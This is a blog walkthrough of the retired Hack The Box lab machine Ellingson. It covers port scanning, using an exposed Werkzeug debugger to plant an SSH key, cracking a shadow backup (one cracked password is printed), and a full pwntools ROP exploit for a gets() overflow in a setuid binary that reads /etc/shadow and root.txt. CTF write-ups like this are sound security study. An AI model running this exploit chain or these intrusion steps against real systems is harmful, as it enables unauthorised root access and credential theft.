This post documents the complete walkthrough of Ellingson, a retired vulnerable VM created by Ic3M4n, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Ellingson is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.139 --rate=1000 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-05-21 02:33:21 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.139 Discovered open port 22/tcp on 10.10.10.139

Nothing extraordinary. Let’s do one better with nmap scanning the discovered ports to establish the services.

# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt 10.10.10.139 ... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA) | 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA) |_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519) 80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.14.0 (Ubuntu) | http-title: Ellingson Mineral Corp |_Requested resource was http://10.10.10.139/index

Well, I’m left with http service to explore. Here’s how it looks like in my browser.

Interactive Werkzeug Debugger

It isn’t long before I chance upon the interactive debugger. Turns out the site is powered by Flask, though it isn’t clear from the outset.

Man, this is as good as a Python shell.

Long story short, the debugger is ran with hal ’s permissions. As such, we can write a SSH public key we control to /home/hal/.ssh/authorized_keys like so.

Play nice, append and leave a newline for the next contender.

Low-Privilege Shell

With that, we can log in to SSH as hal .

During enumeration of hal ’s account, I notice that hal is part of the adm group.

hal is able to read /var/backups/shadow.bak .

John the Ripper is able to crack two of the passwords.

I was able to su as margo with the credential ( margo:iamgod$08 ).

The file user.txt is in margo ’s home directory.

Privilege Escalation

During enumeration of margo ’s account, I found a setuid executable at /usr/bin/garbage .

Disassembly of the file reveals that only root(0) , margo(1002) and theplague(1000) can access the executable.

At first I thought that bypassing the access password and getting to the console allows me to launch commands.

Boy, it’s not that simple.

Any option besides Exit goes into an endless loop of doing nothing except printing garbage. Oh, I see the pun here.

Binary Exploitation

Bypassing the access password is not the be all and end all for this exploitation. Lucky for us, getting the access password from stdin was implemented with gets(3) , a well-known dangerous function that causes buffer overflow due to a lack of size check.

Offset

Let’s take a look at how to calculate the offset required to control the return address with simple math.

Here we have the return address <main+41> at the top of the stack after stepping into the auth function. Take note the stack address.

Here we have the buffer where the character(s) from stdin are stored. Note that we have not executed the function.

Simply calculate the difference between the two memory addresses and you get the offset required to control the return address. In this case, the offset is 136 bytes.

To further demonstrate that we do indeed have control over the return address, let’s create an input file like so.

# perl -e 'print "A" x 136 . "B" x 6' > input

There you have it.

Exploit Development

Now that we know where to write, it’s time to figure out what to write. The stack is not executable and Address Space Layout Randomization (ASLR) is enabled on the machine. As such, we have to rely on return-oriented programming (ROP) gadgets to bypass all that. There are plenty of ROP gadgets in this binary, however, the ones that we need are these:

0x0000000000401012 : add rsp, 8 ; ret 0x000000000040179b : pop rdi ; ret 0x0000000000401799 : pop rsi ; pop r15 ; ret 0x0000000000401016 : ret

These gadgets will help us populate function arguments. The x64 function-calling convention for the first three arguments is: 1st argument ( rdi ), 2nd argument ( rsi ), and 3rd argument ( rdx ).

The game plan is this: we make use of PLT functions (because their address don’t change) — gets(3) , fopen(3) , read(2) , and puts(3) to get from stdin the full path of the file that we want to read and display the content of that file in stdout . And since garbage is a setuid executable, we can read sensitive files such as /etc/shadow and /root/root.txt .

Enough of introduction, here’s the exploit code in Python. Further explanation can be found in the code below.

''' # ROPgadget --binary garbage 0x0000000000401012 : add rsp, 8 ; ret 0x000000000040179b : pop rdi ; ret 0x0000000000401799 : pop rsi ; pop r15 ; ret 0x0000000000401016 : ret ''' from pwn import * # front matter offset = "A" * 136 pathname = 0x404100 # somewhere in .bss mode = 0x404120 # somewhere in .bss ops = 0x404140 # somewhere in .bss buf = 0x404200 # somewhere in .bss payload = '' # functions exit = 0x401160 fopen = 0x401130 gets = 0x401100 puts = 0x401050 read = 0x4010c0 # gadgets pop_rdi_ret = 0x40179b pop_rsi_pop_ret = 0x401799 ret = 0x401016 skip = 0x401012 # exploit format payload += offset # get(pathname) - file we want to open payload += p64 ( pop_rdi_ret ) payload += p64 ( pathname ) payload += p64 ( gets ) payload += p64 ( ret ) # get(mode) - r for reading, w for writing, etc. payload += p64 ( pop_rdi_ret ) payload += p64 ( mode ) payload += p64 ( gets ) payload += p64 ( ret ) # fopen(pathname, mode) payload += p64 ( pop_rsi_pop_ret ) payload += p64 ( mode ) payload += p64 ( skip ) payload += p64 ( pop_rdi_ret ) payload += p64 ( pathname ) payload += p64 ( fopen ) payload += p64 ( ret ) # get(ops) - this is basically redundant, the # only purpose is to make sure rdx contains a # large enough integer payload += p64 ( pop_rdi_ret ) payload += p64 ( ops ) payload += p64 ( gets ) payload += p64 ( ret ) # read(4, buf, x) - the file descriptor from the # previous fopen is almost certainly to result # in file descriptor being 4 payload += p64 ( pop_rsi_pop_ret ) payload += p64 ( buf ) payload += p64 ( skip ) payload += p64 ( pop_rdi_ret ) payload += p64 ( 4 ) payload += p64 ( read ) payload += p64 ( ret ) # puts(buf) - display buf in stdout payload += p64 ( pop_rdi_ret ) payload += p64 ( buf ) payload += p64 ( puts ) payload += p64 ( ret ) # exit(0) payload += p64 ( pop_rdi_ret ) payload += p64 ( 0 ) payload += p64 ( exit ) # write payload to file f = open ( 'payload' , 'wb' ) f . write ( payload ) f . close

Let’s give it a shot. Generate the payload and send it to margo using scp .

# python exploit.py # scp payload [email protected]:/tmp

Log in to margo ’s account via SSH and navigate to /tmp (that’s where our payload is) and let the magic begins. We’ll see if we can read /etc/shadow .

Amazing. Where’s the root password hash?

I see. root logs in via the password-protected private key. Anyways, I’m not going to crack anything. Let’s just retrieve root.txt and call it a day.

Afterthought

Because I’m always challenging myself, let’s write another exploit that will give us an interactive root shell instead.